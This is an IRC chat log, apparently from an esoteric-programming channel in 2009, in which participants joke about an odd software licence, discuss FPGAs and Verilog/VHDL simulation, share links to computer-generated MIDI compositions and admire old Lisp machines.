17:21:10 <GregorR-L> pikhq: It wasn't a "because I'm afraid of liability" thing, it was a "because I'm a peace-loving retard with no understanding of even the most trivial legal matters"
17:21:21 <pikhq> GregorR-L: That's just retarded.
17:21:22 <ais523> ehird: I've hit the limits trying to do a few 32-bit multiplications before
17:21:28 <ehird> GregorR-L: God, some people are idiots.
17:21:33 <ais523> but then, a one-cycle multiplier takes masses of circuitry
17:21:38 <ehird> ais523: What's the minimum price for a _decent_ FPGA?
17:21:43 <ehird> GregorR-L: What softwar was this?
17:21:51 <ais523> which is why in all practical CPUs, multipliers take multiple cycles
17:21:52 <pikhq> ehird: Couple hundred, I'd imagine.
17:22:01 <GregorR-L> ehird: "Flower". I don't even know what it does, I just responded to him calling that an "Open Source" license :P
17:22:01 <ais523> a truly fast multiplier is insanely hard to make
17:22:03 <ehird> pikhq: No— $150 is the bare bottom price.
17:22:08 <ehird> $200 is for one up.
17:22:09 <ais523> yet that's what VHDL/Verilog end up implementing if you write *
17:22:13 <ehird> Then it gets to $250.
17:22:16 <ehird> Not approaching decentness.
17:22:35 <ehird> GregorR-L: care to be less vague so I can google?
17:22:48 <GregorR-L> ehird: I don't know if I can be :P
17:22:50 <ais523> FPGA turns what you thought you knew about computing upside-down
17:22:57 <GregorR-L> ehird: It was called Flower, and it was on the d.announce newsgroup.
17:23:02 <ehird> GregorR-L: Ah, OK.
17:23:23 <ehird> GregorR-L: "flowerd"? Dec 2007?
17:23:32 <ehird> No posts by you though
17:24:05 <GregorR-L> http://www.digitalmars.com/d/archives/digitalmars/D/announce/Flower_opened_8869.html // here 'tis
17:24:27 <ehird> LICENSE: use without restrictions at your own risk and responsibility unless
17:24:27 <ehird> this use is resulting (directly or indirectly) harm to any sentient being
17:24:40 <ehird> i want to punch that guy for being such a retard
17:25:37 <ehird> [[If you think this is going to be the case, don't give it to your friend. As
17:25:37 <ehird> simple as that ;)]]
17:25:48 <ehird> GregorR-L: Be kind — you know how we can see to the past just as events not happening?
17:25:52 <ehird> He, obviously, is not blind to the future.
17:26:26 <ehird> Seems like someone missed the point of licenses here. :\
17:26:27 <ehird> (Apart from looking uber cool in a source file, that is.)
17:26:28 <ehird> Errrrrrrrrrrrrr, what>
17:27:02 <ehird> From my point of view it is already dead. I posted it just because it have some
17:27:02 <ehird> good stuff in there that may be useful to someone. About you flies question -
17:27:04 <ehird> yes, I am pretty sure flies are sentient beings, but if there are few lines of
17:27:06 <ehird> my code on the page and few lines of your code then which code is the reason?
17:27:17 <ais523> this license is unusable after all
17:27:29 <ais523> it requires you to redistribute the code before you can do anything, including redistributing the code
17:27:32 <ehird> ais523: can you just ask him for a bread and butter license?
17:27:45 <ais523> nah, I feel he rather didn't want to give up source as it was
17:27:49 <ais523> he feels it isn't in a releasable state yet
17:27:53 <ehird> i wouldn't care if not for your ultra-paranoid legalistic attitude :)
17:28:19 <ais523> I might try running some of the .exe files that were left in the debug directory, though
17:28:25 <ehird> [[I see no lawyers in the whole thing. Looking at my English dictionary I
17:28:25 <ehird> understand the word "license" as "the author requests that ..."]]
17:28:28 <ais523> as they're based on GPLed source, they must be GPL themselves
17:28:28 <ehird> Stupidity, meet world.
17:28:31 <ehird> World, meet stupidity.
17:28:41 <ehird> ais523: are you sure that holds?
17:29:04 <ais523> ehird: no, the other possibility is that they're illegal derivatives in the first place
17:29:26 <ais523> although generally speaking, output executables don't inherit copyright from the compiler that made them
17:30:17 <pikhq> GregorR-L: I especially love how that license probably prevents anything that contributes to global warming executing it.
17:30:37 <pikhq> So, the only computer it could really run on operates on free energy. ... In SPACE!
17:30:52 <ehird> pikhq: ... You just figured out what fortune cookies REALLY need.
17:31:09 <ehird> "You will read a fortune cookie. ...in SPACE!"
17:32:01 <ehird> pikhq: GregorR-L: it's not an EULA
17:32:04 <ehird> it doesn't restrict usage
17:32:06 <ehird> just redistribution
17:32:21 <ehird> so you can use it, just not distribute it to someone who will run it on a global warming computer
17:32:43 <ais523> the licence here thinks it's an EULA
17:32:45 <ehird> ais523: what do verilog/vhdl generate when you do *?
17:32:48 <ais523> Windows mentality, I imagine
17:32:59 <ais523> ehird: circuitry capable of doing a multiplication in one clock cycle
17:33:00 <ehird> ais523: that may void a lot of it
17:33:07 <ehird> ais523: i mean, what dose it actually generate
17:33:19 <ais523> ehird: there are standard circuits for one-cycle multiplications
17:33:23 <ais523> but they're massively large
17:33:31 <ehird> ais523: surely a gigantic circuit will take >1 cycle
17:33:33 <ais523> O(n^2) in the order of the number of bits in the number
17:33:44 <ais523> ehird: no, you can implement anything in one cycle, apart from delays
17:33:44 <ehird> ais523: icarus verilog, verilog behavioral simulator, veriwell verilog simulator
17:33:51 <ais523> but the cycles often have to be rather slow
17:34:04 <ais523> also, I use GHDL as a simulator
17:34:13 <ehird> that's not verilog :P
17:34:18 <ehird> Yes, VeriWell *is* the same
17:34:19 <ehird> simulator that was sold by Wellspring Solutions in the mid-1990 and was included
17:34:20 <ehird> with the Thomas and Moorby book
17:34:21 <ais523> I've never heard of any of those simulators
17:34:22 <ehird> that seems promising
17:34:33 <ehird> if it was sold and came with a book it's probably okay.
17:34:55 <ehird> verilog behavioral simulator's homepage is 404'd
17:35:03 <ehird> http://www.icarus.com/eda/verilog/
17:35:10 <ehird> so it's icarus vs veriwell.
17:35:26 <ehird> so I guess it's actively developde
17:35:59 <ehird> ais523: how often do the simulators mismatch the hardware?
17:36:19 <ais523> only when you're driving the hardware near or beyond tolerances
17:36:39 <ehird> ais523: can you literally make an fpga halt and catch fire? :-)
17:36:48 <ais523> depends on what it's connected to
17:37:02 <ehird> ais523: nothing special
17:37:04 <ais523> they won't stand being short-circuited for any length of time, really
17:37:09 <ais523> that makes them catch fire
17:37:14 <ais523> and they're really static-sensitive too
17:37:16 <ehird> ais523: with just code
17:37:20 <ais523> it's worth buying a wristband
17:37:33 <ais523> ehird: it depends on whether what's an input and what's an output are configurable in code
17:37:42 <ehird> ais523: without I/O :p
17:37:43 <ais523> which probably depends on the model
17:37:53 <ais523> I/O is how you get them to catch fire
17:37:59 <ais523> by changing what should be an input into an output
17:38:02 <ais523> and causing a contradiction
17:38:08 <ehird> ais523: not really
17:38:11 <ehird> simple chip flaws could do it
17:38:34 <ais523> they wouldn't pass testing
17:38:54 <ais523> and given the typical target market for FPGAs, a company that routinely put out FPGAs that didn't pass testing wouldn't stay in the market long
17:39:00 <ehird> ais523: so every possible combination of code is testing?
17:39:10 <ehird> even extremely pathological examples?
17:39:11 <ais523> every path within the FPGA, quite often
17:39:21 <ais523> that's different from testing every possible program
17:39:24 <ais523> but can be done quite quickly
17:40:05 <ehird> $display("Hello world!");
17:40:13 <ehird> ais523: I assume $display is a debug thing?
17:40:26 <ais523> ehird: almost certailny
17:40:34 <ais523> the VHDL hello world also uses debug output
17:40:42 <ais523> note that debug I/O is very important in simulators
17:40:48 <ais523> it's been known for people to reimplement TCL in VHDL
17:40:55 <ehird> ais523: what would $finish do?
17:40:56 <ais523> and use it to drive test I/O
17:41:04 <ehird> also, tcl seems very popular among chip people
17:41:07 <ais523> ehird: it prevents an infinite loop there
17:41:09 <ehird> pikhq: Tool Command Language; QED.
17:41:26 <ais523> basically, in a behavioral language
17:41:34 <pikhq> ehird: It's still spelled as Tcl.
17:41:39 <ais523> each block (which could be one statement, or a whole process like that) runs whenever any of its inputs changes
17:41:45 <ais523> or repeatedly forever if it has no inputs
17:42:01 <ais523> in a VHDL hello world, you put the equivalent of sleep forever at the end of the main process
17:42:04 <ehird> pikhq: My name is I#$J(@*$&*(&(*~&89&W*)(D*fuCCCCCCCCCK
17:42:08 <ais523> in order for the simulation to actually end
17:42:10 <pikhq> ais523: Reimplement Tcl in VHDL? Doesn't surprise me; Tcl is rather easy to implement.
17:42:14 <ehird> When capitalised, it is @*#$((((((((((((OOK
17:42:21 <ehird> Please respect these conventions
17:42:51 <pikhq> Someone made a rather complete implementation in C in about 500 lines of code...
17:43:16 <pikhq> Including hand-written parser.
17:49:07 * ehird adds verilog support to editor, figuratively rubs hands
17:49:16 <ehird> It's hardware time!
17:49:29 * ehird puts on appropriate ambience - http://dqn.dqn.lol.googlepages.com/GJS_Jay_Sussman_Feat._JSB_Sebastian_.mp3
17:49:57 <ehird> EVAL APPLY CAR CUDDER
17:50:01 <ehird> ais523: dqn.dqn.lol.googlepages.com
17:50:06 <ais523> also, did you just get a free Verilog simulator?
17:50:07 <ehird> ais523: dots are valid in google account names
17:50:21 <ehird> i could have chosen from two others, but I chose this one.
17:50:26 <ehird> also, it's actively developed and seems good.
17:50:33 <ehird> Verilog pwns VHDL :P
17:50:44 <ais523> VHDL makes it harder to make an error
17:50:51 <ais523> whereas Verilog just silently corrects your code
17:51:03 <ais523> it's as lax with variables as Visual Basic without Option Explicit is
17:51:23 <ais523> signal = behavioural concept of a variable
17:51:34 <ais523> variable (which also exists) = traditional imperative concept of a variable
17:52:34 <ais523> signals are like variables, except assigning to them is delayed-action
17:52:51 * ehird wonders what vpi is
17:53:08 <ehird> [ehird:~/Code/scraps/2009-06] % iverilog hello.v -o hello
17:53:08 <ehird> -o: No such file or directory
17:53:10 <ehird> [ehird:~/Code/scraps/2009-06] % iverilog -o hello hello.v
17:53:12 <ehird> [ehird:~/Code/scraps/2009-06] %
17:53:14 <ehird> *sigh* temperamental software.
17:53:22 <ehird> [ehird:~/Code/scraps/2009-06] % ./hello
17:53:35 <ehird> ais523: wow, hello's only 249 bytes
17:53:51 <ehird> [[#! /opt/local/bin/vvp
17:53:51 <ehird> :vpi_time_precision + 0;
17:53:53 <ehird> :vpi_module "system";
17:53:55 <ehird> S_0x200ce0 .scope module, "main" "main";
17:53:59 <ehird> .scope S_0x200ce0;
17:54:03 <ehird> %vpi_call "$display", "Hello, world!";
17:54:05 <ehird> %vpi_call "$finish";
17:54:13 <ehird> hmm bit of a flood
17:54:16 <ais523> that's not in a format I know
17:54:33 <ehird> ais523: it's icarus-specific, I assume
17:54:36 <ehird> bytecode, of sorts.
17:55:00 <ehird> so pretty good so far
17:55:13 <ehird> (that's how fast a C hello world runs on my system)
17:57:11 <ehird> Okay, now to learn Verilog.
17:57:15 <ehird> *INSTANT DEMOTIVATOR*
17:57:38 <ais523> hello world really doesn't explain how behavioural langs work
17:57:47 <ais523> especially as you have to use debug commands to manage it
17:58:09 <ais523> (in VHDL, text output isn't even in core, you have to load debug I/O libraries to be able to do a hello world)
18:00:44 <ehird> ais523: There should be a hardware tarpit.
18:00:55 <ehird> It'd be very relaxing.
18:01:06 <ehird> ...where did I get that idea from?
18:01:28 <ehird> ais523: more pure.
18:02:34 <ehird> ais523: I'ma try write a thingy that just flips a bit 4eva and eva.
18:03:01 <ehird> always @ (posedge reset or posedge clock)
18:03:03 <ais523> it's a one-liner in VHDL (plus about 10 lines boilerplate that everything needs)
18:03:11 <ehird> it occurs to me I don't understand that.
18:03:19 <ais523> the Verilog version is slightly more complicated
18:03:29 <ais523> but basically, a process has rules stating when it runs
18:03:42 <ehird> ais523: i just want the simplest way to say "as fast as possible:"
18:03:43 <ais523> and that's saying that it runs unconditionally at the positive edge of the clock
18:04:03 <ais523> that means "once per clock cycle", which is a practical as fast as possible
18:04:15 <ais523> because if you start messing around with negative edges or quad data rate, synthesizers hate you
18:04:24 <ehird> ais523: i just don't like not understanding things
18:04:25 <ais523> and produce really bad circuitry, or just barf with an error
18:04:38 <ehird> ais523: it occurs to me that really bad circuitry could be an artform
18:04:55 <ehird> ais523: btw fpga actually has nothing to do with circuitry right? it's just a sort of lower level cpu running your "cpu interpreter"
18:05:06 <ehird> ais523: anyway, so I need an input clock;?
18:05:08 <ais523> it's pretty close to the hardware
18:05:11 <ehird> but how do I procure one of them to use it
18:05:12 <ais523> and yes, you'll need a clock input
18:05:21 <ais523> and I don't know how to make a test clock in VHDL
18:05:27 <ais523> in Verilog, it would be clock <= not clock after 10 ns;
18:05:39 <ais523> wait, VHDL and Verilog are the wrong way round there
18:06:42 <ais523> you can choose other time periods than 10ns, but 10ns is a typical value that you can normally achieve in practice
18:06:56 <ais523> also, in hardware, you're most likely getting the clock signal from an input to the hardware itself
18:07:06 <ais523> rather than generating it internally, which synthesizers can't do
18:07:16 <ais523> you can use after in simulation, but synthesizers ignore it
18:07:28 <ais523> the problem with VHDL/Verilog is that they're really two langs each
18:07:37 <ais523> the simulation lang, where you can use all the features
18:07:45 <ais523> and the synthesis lang, where you can only use a small subset
18:07:48 <ais523> the skill's in writing polyglots
18:09:52 <ais523> bonus points if the synthesis and simulation versions actually do the same thing
18:10:06 -!- Corun has joined.
18:10:11 <ais523> so your question about "does synthesis work the same way as simulation?"? yes, but only if you keep to the common subset
18:10:22 <ehird> ais523: here's my hardware tarpit:
18:10:43 <ehird> ais523: "REGISTER ← EXPR / NANOSECONDS".
18:10:44 -!- Corun has quit (Remote closed the connection).
18:10:51 <ehird> EXPR has nand, xor, and, or, and all that stuff.
18:11:16 <ais523> ehird: congratulations, you just invented VHDL's assignment statement
18:11:18 <ehird> "(N) REGISTER ← EXPR / NANOSECONDS"
18:11:19 -!- Corun has joined.
18:11:20 <ais523> signal <= expression after time;
18:11:24 <ehird> lower Ns happen before later Ns
18:11:27 <ehird> ais523: I based it upon that
18:11:32 <ais523> and no, there is no "happen before" in hardware
18:11:39 <ais523> there is no ordering to commands in a Verilog/VHDL program
18:11:44 <ehird> ais523: wow. okay then.
18:11:48 <ais523> apart from inside processes, you can anagram a program and it still works correctly
18:11:56 <ehird> ais523: actually, instead of nanoseconds, let's measure in cycles
18:12:07 <ehird> "REGISTER ← EXPR / CYCLES"
18:12:11 <ais523> an assignment runs when the expression that's being assigned changes value
18:12:14 <ais523> plus a constant amount of time
18:12:14 <ehird> here's my flipflopper ("politician"):
18:12:27 <ehird> platform ← not platform / 1
18:12:38 <ehird> I think that should go 0, 1, 0, 1, 0, 1, ...
18:12:48 <ais523> ok, another hint: you can't, in practice, plausibly initialize variables
18:12:52 <ais523> or do things relative to time 0
18:13:00 <ais523> because everything starts out randomized at power-up
18:13:08 <ais523> the langs will let you initialize, but it won't synthesize
18:13:13 <ais523> this is why reset inputs are very common
18:13:13 <ehird> ais523: ah. the verilog example uses a reset input for that
18:13:33 <ehird> ais523: OK, I'll add inputs. Can I keep inputs the same as registers? I bet I can.
18:13:47 <ais523> yes, they're much the same
18:13:58 <ais523> incidentally, what you're calling "register" = "signal" in VHDL, "wire" in Verilog
18:14:14 <ehird> ais523: I'm just basing it on Verilog's "reg" from one example ;-)
18:14:18 -!- olsner has joined.
18:14:28 <ehird> OK, let's say there is one built-in register: CLOCK.
18:14:31 <ais523> well, it's saying that that wire is being used for a register
18:14:35 <ehird> here's my politician:
18:14:46 <ais523> to be precise: register = wire with a delay on so it can be used to store data
18:15:12 <ehird> { |reset| platform ← 0 / reset; platform ← not platform / CLOCK step }
18:15:18 <ehird> This is getting annoyingly complex ;0
18:16:08 <pikhq> ehird: Oooh! Oooh! Do it in Wireworld!
18:16:09 <ehird> ais523: what's the actual tarpit?
18:16:24 <ais523> signals/wires/registers whatever
18:16:31 <ais523> and a positive fixed after requirement
18:16:41 <ais523> although, that's a simulation tarpit
18:16:55 <ehird> ais523: i'd prefer something that can be synthesized too
18:17:01 <ais523> annoyingly, the code makes perfect sense in synthesizers but they can't synthesize it anyway
18:17:05 <ais523> because they all have rubbish programming
18:17:14 <ais523> it's not enough to simply use something as a clock
18:17:22 <ais523> you have to ram it down the interp's throat that it's a clock
18:17:27 <ais523> by using special "this is a clock" syntax
18:17:35 <ais523> which I think is just pattern-matched
18:17:48 <ais523> in VHDL, 4 syntaxes work, none of the infinity equivalent syntaxes do though
18:17:51 <ehird> ais523: let us assume a non-retarded synthesizer; as long as it can be done with them, that's ok.
18:18:02 <ais523> there are no non-retarded synthesizers, in that sense
18:18:14 <ehird> ais523: no, I mean, as in
18:18:17 <ais523> they wrote the limitations of synthesizers into the standard, rather than actually writing a decent synthesizer
18:18:28 <ehird> ais523: the tarpit→VHDL or whatever compiler, can add the "THIS IS A CLOCK YOU MORON" stuff itself
18:18:53 <ehird> ais523: so we don't have to worry about that
18:18:59 <ehird> just what synthesizers simply won't accept
18:19:14 <ais523> actually, I suspect writing a VHDL->VHDL compiler may make my fortune
18:19:23 <ais523> compiling from sane VHDL into what synthesizers accept :)
18:19:28 <ais523> (and yes, I just used a smiley)
18:19:54 <ehird> that is one piece of software i will be delighted to spread about the intertubes (← evil piracy destroying the world)
18:20:03 <ehird> ais523: isn't sane vhdl an oxymoron?
18:20:15 <ais523> it's sort of so sane it's insane
18:20:32 <ais523> it was commisioned by the US armed forces, I think
18:20:39 <ais523> with instructions to make it resemble ADA as much as possible
18:21:03 <ais523> once you've seen VHDL, you realise that in fact it is the language that INTERCAL parodies
18:25:17 <ehird> ais523: so what would a complete definition of an absolute minimum hardware tarpit be?
18:25:41 <ais523> I'm not in the mood to do one in full, really
18:25:48 <ais523> especially as I'm trying to do other things atm
18:25:54 <ais523> and am also tired due to crazy sleep patterns
18:26:02 <ais523> (I've been up for over 24 hours in a row, /again/)
18:26:56 <ehird> ais523: eh, 'snothin'
18:27:59 <GregorR-L> I like Perceptively Chilly Sonata more every time I play it :P
18:29:02 <ehird> GregorR-L: Give it REAL PERCUSSIVE DEMOLISHMENT POWER
18:29:09 <ehird> But I like that song too.
18:29:15 <GregorR-L> Too much lazy slash I have no idea how.
18:29:18 <ehird> ais523: you should listen to it, it'd give you a heart attack.
18:29:34 <ais523> ehird: you want me to have a heart attack?
18:29:40 <GregorR-L> ais523: http://codu.org/masterpiecemachine/getmidi.php?mpid=Perceptively+Chilly+Sonata
18:29:42 <ehird> ais523: well, no, but the experience would be worth it
18:30:03 <ehird> ais523: a masterpiece composed by a computer!!
18:30:19 <ehird> See the Masterpiece of the Bending Flow - generated by an ARTIFICIAL MIND(TM)!
18:32:05 <ehird> GregorR-L: it really is good, but it needs rests
18:32:08 <ehird> it's just too hectic
18:32:24 <GregorR-L> ehird: Yeahyeahyeah, gimme a break still :P
18:32:34 <GregorR-L> ehird: Also, feel free to poke around at the code yourself ;)
18:32:40 <ehird> GregorR-L: Open sores?
18:32:40 -!- ais523 has quit (Remote closed the connection).
18:32:53 <GregorR-L> ehird: Naturalismo, who do you think you're talking to?
18:33:00 <GregorR-L> http://codu.org/projects/masterpiecemachine/
18:33:23 <ehird> GregorR-L: License? Also, that's not the auto-generator thing.
18:34:05 <GregorR-L> MIT, the auto-generator is in lib/autocomposer and autocompose
18:34:13 <ehird> GregorR-L: Language?
18:34:29 <ehird> GregorR-L: Srybutnothx.
18:34:43 -!- Sgeo has joined.
18:34:46 * ehird ponders genetically evolving an iterated rock/paper/scissors warrior
18:37:10 -!- ais523 has joined.
18:37:24 <ais523> well, at least I'm not being eaten by sharks
18:37:52 <ais523> you wouldn't even have thought that trying to play a MIDI file could crash X
18:38:07 <ais523> I'll do it a different way this time
18:38:42 <ehird> ais523: http://codu.org/masterpiecemachine/getmidi.php?mpid=Perceptively+Chilly+Sonata
18:38:49 <ehird> ais523: impressive, though; it shows that the midi has true power.
18:38:53 -!- Corun has quit ("Leaving...").
18:38:55 <ehird> also, you might need to give it a few listens
18:39:09 <ehird> it is a bit of an acquired ... haunting.
18:39:25 <ais523> how autogenerated is it?
18:40:03 <ehird> ais523: neural networky thingy, each track independently composed following only a few basic rules on tempo etc
18:40:19 <ehird> he just set up his collaborative masterpiece engine to run on his genetic algorithm track generator
18:40:23 <ais523> it's pretty auto-repetitive
18:40:34 <ehird> ais523: it's fractal!
18:40:39 <ehird> it has twists, though
18:40:41 <ais523> ah, that would explain it
18:40:52 <ehird> I just made the fractalness up :P
18:41:45 <ais523> that would explain it anyway; just because it's an incorrect explanation doesn't prevent it being an adequate explanation
18:41:49 <GregorR-L> ehird: Wow, you sure think that this autocomposer is complex :P
18:42:01 <GregorR-L> It is in fact neither a neural network nor a genetic algorithm :P
18:42:26 <ehird> GregorR-L: thought you said it was a NN
18:42:29 <ehird> GregorR-L: what is it? rand()?
18:42:37 <GregorR-L> It's a simple randomized algorithm involving determining the "tension" of every note and trying to make the tension rise and fall.
18:42:56 <ais523> wow, that thing is /long/
18:42:57 <ehird> GregorR-L: ah, that's why it goes in thumps
18:43:03 <ehird> ais523: err, it's just 3-4 minutes
18:43:11 <ehird> ais523: that's not particularly long for a piece of music
18:43:12 <GregorR-L> ais523: Want a 35 minute one? I can do that.
18:43:19 <ais523> play it to ehird instead
18:43:24 <ehird> ais523: how is that long?
18:43:25 <ais523> I think I prefer hworld.mid
18:45:13 <GregorR-L> http://codu.org/masterpiecemachine/getmidi.php?mpid=Debonairly+Boorish+Fugue // 35 minutes :P
18:45:26 <ais523> also, it's 304 seconds long
18:45:47 <ehird> GregorR-L: make a 300bpm one
18:45:51 <ais523> 5:04 according to Timidity
18:45:54 <ehird> it'll be like DragonForce except EVEN WORSE.
18:46:04 <GregorR-L> ehird: Wait, I'm listening to this one, it's pretty good so far :P
18:46:24 <ehird> ais523: Debonairly is relaxing and musical, try it.
18:47:04 <GregorR-L> I think the basic algorithm is sound, I just need something to make it think globally.
18:47:55 <ehird> GregorR-L: but it leads to thumps
18:47:59 <ehird> attack, reduce, attack, reduce
18:48:26 <ehird> GregorR-L: but that's the basic algorithm!
18:48:48 <ais523> ehird: I wouldn't call it relaxing
18:48:53 <ais523> although I like the choice of instruments
18:49:07 <ais523> what I should do, is port my BF-to-Fugue code to something sane
18:49:11 <Asztal> Perceptive Chilly Sonata is certainly better than the random one it generated for me
18:49:13 <ais523> and then run Lost Kingdoms through it
18:49:13 <GregorR-L> The basic algorithm thinks locally. I mean globally as in "in this section I'm going to crescendo, then here I'm going to steadily increase pitch, etc"
18:49:16 <ehird> "The model fails to generate the following obvious real-world solution: A, B, and C should all move in together and live in joyous tripartite depravity, and X should jump off a bridge."
18:49:20 <ais523> or the gcc-bf hello world
18:49:58 <ais523> BF programs convert to music well, because different parts of the code do different things
18:50:10 <ais523> so have different programming-textures, which convert to different musical themes
18:51:32 -!- tombom has quit ("Peace and Protection 4.22.2").
18:57:29 <GregorR-L> I wish my friend Eric knew how to code.
18:57:34 <GregorR-L> People who don't know how to code are weird.
18:57:47 <ehird> GregorR-L: I'm ten minutes into the Fugue.
18:57:54 <ehird> Also, everyone should know how to code :P
18:57:57 <GregorR-L> Yeah, I'm still listening to it :P
18:58:12 <GregorR-L> There are no /bad/ sections, a few really /good/ sections, it's just very background music.
18:58:15 <ehird> GregorR-L: Wow, around 10:10 on it has some nice blips.
18:58:18 <Asztal> I'm 1 minute in, don't spoil it for me!
18:58:31 <ehird> Asztal: Protip: It's basically the same all the way through.
18:58:32 -!- Slereah has set topic: Have you read your SICP today? | http://tunes.org/~nef/logs/esoteric/.
18:58:41 <ehird> ... or at least, for 11 minutes; it may turn into heavy death metal later on.
18:58:56 <ehird> GregorR-L: Make that 300bpm, 7 minute, electric guitar monstrosity!
18:59:03 <ehird> With percussion, naturally.
18:59:05 <Asztal> it reminds me of one of the DOOM 2 songs because of the instruments
18:59:13 <Asztal> (and some of the melodies)
18:59:28 <ehird> Asztal: most cheerful doom song evar.
18:59:48 <Asztal> there's one that starts off as a twisted children's song
19:00:07 <GregorR-L> ehird: http://codu.org/masterpiecemachine/getmidi.php?mpid=Egg+Stream+Autocompose
19:00:25 <Sgeo> Asztal, Nasty Diablo, or is that something else?
19:00:29 <GregorR-L> It'll still be 25 minutes before I can listen to it though :P
19:00:41 <ehird> GregorR-L: Lacks electric guitar; percussion.
19:00:50 <ehird> Kind of spooky though.
19:01:14 <ehird> Holy fuck it's only 19:00
19:01:53 <ehird> EVAL IS THE FUNCTION OF HOLY WORSHIP
19:07:26 -!- inurinternet has quit (Connection timed out).
19:07:44 <ehird> GregorR-L: it's got a sorta guitar solo going on
19:09:03 -!- Hiato has joined.
19:12:43 <GregorR-L> Ohh, for Egg Stream Masterpiece I forgot to specify a key signature, so they all use random (different) ones :P
19:13:14 <ehird> GregorR-L: *Autocompose
19:13:28 <ehird> GregorR-L: Anyway, do the 300bpm, 7 minute electric guitar / percussiony, or I shall eat your soul.
19:13:48 <GregorR-L> Aside from the fact that I have no percussion support, I didn't make it so you can specify an instrument P
19:14:03 <ehird> GregorR-L: Try at random!
19:14:57 <pikhq> ehird: Now, write eval using naught but lambda.
19:15:13 <ehird> pikhq: LC self-interpreters exist.
19:15:59 -!- inurinternet has joined.
19:17:05 <GregorR-L> http://codu.org/masterpiecemachine/getmidi.php?mpid=Egg+Stream+Autocompose Remade. Still no "real" percussion, but wood blocks, and this one is fekking sweet :P
19:17:06 <Asztal> the great thing about Egg Stream Autocompose is that you can skip forward 5 minutes and there won't be any discontinuity
19:17:25 <ehird> GregorR-L: don't overwrite ;_;
19:19:14 -!- ais523 has quit (Remote closed the connection).
19:19:46 <ehird> i want a symbolics lisp machine.
19:19:51 <ehird> i would use my 8 megawords of memory.
19:20:04 <ehird> and nine gigabyte SCSI disk capability.
19:20:09 <ehird> to store my CD-ROM collection.
19:20:21 <ehird> and run a jukebox on the 19" monochrome crt
19:23:21 <ehird> pikhq: BTW, this is what the top-of-the-line symbolics machine looks like: http://www.joeydevilla.com/wordpress/wp-content/uploads/2008/12/symbolics_xl1200_lisp_machine.jpg
19:23:22 -!- ais523 has joined.
19:23:34 <ehird> pikhq: Yes, the computer is inside that "desk" - or should I say "case".
19:24:33 <ehird> Heck, it's a combined radiator, computer case, and desk.
19:24:41 <ehird> What more could you POSSIBLY want?
19:27:04 <pikhq> ehird: A hookup to central air.
19:29:32 <ehird> pikhq: Or, one of these: http://upload.wikimedia.org/wikipedia/commons/9/95/3600-front.jpg; a big little machine - 31kg! (70 pounds). 4Mword memory (18MB), 760MB "ESDI" disk, 17" screen. Apparently ESDI's a very very old predescessor to SCSI.
19:29:51 <ehird> pikhq: That certainly has a larger nostalgia factor; it would quite likely not be too fun to work on, though.
19:29:52 * ais523 agrees to the following contract with myndzi, binding under the rules of Agora: "Any party to this contract can act on behalf of any other to cause em to register. This contract terminates after 4 hours."
19:29:59 * ais523 agrees to the following contract with myndzi\, binding under the rules of Agora: "Any party to this contract can act on behalf of any other to cause em to register. This contract terminates after 4 hours."
19:30:15 <ais523> it would be an interesting test, though
19:30:19 <ehird> no script, it seems.
19:30:45 <ehird> pikhq: Also, the nostalgia costs $675; the XL1200 $3,500.
19:31:00 <ehird> So if I was gonna get an #esoteric LM it'd have to be a 36xx :P
19:31:07 <ehird> Donations welcome!
19:31:21 <ais523> ehird: I'll try later when the script's back up
19:31:40 <ais523> I'm pretty sure that R101, at least, would block it, though
19:32:11 <pikhq> ehird: Definitely, definitely needs to be used in lieu of a heater.
19:32:50 <ehird> pikhq: it's so big and foreboding; we'd get a http://www.asl.dsl.pipex.com/symbolics/photos/IO/DSC_2077-small.jpg keyboard!
19:33:02 <ehird> or http://www.asl.dsl.pipex.com/symbolics/photos/IO/keyboard-9647.jpg; depending on if they sell the new kbs w/ the old models
19:33:05 <ehird> that font looks like optima
19:33:14 <ehird> on the control/etc labels
19:33:41 <ehird> ais523: can you get FPGAs that are large arrays of really crappy processors?
19:33:55 <ais523> probably not, that wouldn't be useful
19:33:59 <ais523> and wouldn't be an FPGA by definition
19:34:03 <ehird> ais523: like Connection Machines; a bunch of processors doing measly work (CM CPUs operated on one bit(!) at a time), operating in parallel
19:34:20 <ehird> ais523: did you know that feynman worked on the Connection Machines?
19:34:29 <ehird> 65,536 CPUs communicating in the original version
19:34:31 <ehird> pretty damn impressive
19:35:53 <ehird> ais523: where should I look if I want to build such a system? but ofc at a lower scale
19:36:04 <ehird> bsmntbombdood: well, yes. technically.
19:36:12 <ais523> bsmntbombdood: a 4-bit lookup table, followed by 1 bit of RAM?
19:36:21 <ais523> that misses most of the requirements to be a processor, I think
19:36:26 <ais523> on the plus side, you get loads of them
19:36:32 <Sgeo> http://failblog.files.wordpress.com/2009/06/fail-owned-traffic-light-fail.jpg
19:37:12 <ehird> Sgeo: Do not link to failblog, that despicable site of immaturity, failing to get the joke and 12-year-old esque shoutings of "FAILLLLLLL!!!!". Or I will wreck my vengeance upon you.
19:37:19 <bsmntbombdood> i know some fpgas have a general prupose cpu built in
19:37:25 <ehird> bsmntbombdood: yeah, that's lame
19:37:28 <Sgeo> ehird, I didn't link to the comments
19:37:39 <bsmntbombdood> ehird: also, http://www.tilera.com/products/processors.php
19:38:11 <ehird> bsmntbombdood: yeah i know, that's not the same. 64 processors is measly; we're talking about thousands here. and also, those individual processors will NOT be all that simple
19:38:26 <ehird> i'll wager, for instance, that they're a far cry from the "one bit at a time running simple instruction set" of the CMs
19:39:01 <ehird> bsmntbombdood: the point is that it's a novel computational model, actually speeds up some things massively
19:39:03 <ehird> and is just damn cool
19:39:09 <ehird> http://www.longnow.org/views/essays/articles/ArtFeynman.php
19:39:18 <ehird> feynman worked out that you could do ... i forget; some quantum mechanics calculation
19:39:22 <ehird> in a day with these
19:39:27 <ehird> that would take 2 years on a regular machine
19:39:32 <ehird> (of similar raw computational caliber)
19:40:30 <ehird> i want to have a job designing crazy supercomputer architectures
19:40:38 <ehird> i just love hundreds and hundreds of interconnected nodes
19:42:14 <ehird> bsmntbombdood: read the article
19:42:47 <bsmntbombdood> also, you'd be smarter if you _decreased_ paralellism
19:43:09 <ehird> parallelism is awesome, you foo.
19:43:45 <ehird> bsmntbombdood: read the article, you foo.
19:45:12 <ehird> GregorR-L: egg stream autocompose #2 is lovely
20:02:45 <ais523> someone make a pun including the word "eggstreamly"
20:04:12 -!- tetha has quit (Nick collision from services.).
20:04:21 -!- tetha has joined.
20:10:49 * Sgeo can't believe he missed an FS story
20:14:35 -!- Sgeo_ has joined.
20:14:35 -!- Sgeo has quit (Read error: 104 (Connection reset by peer)).
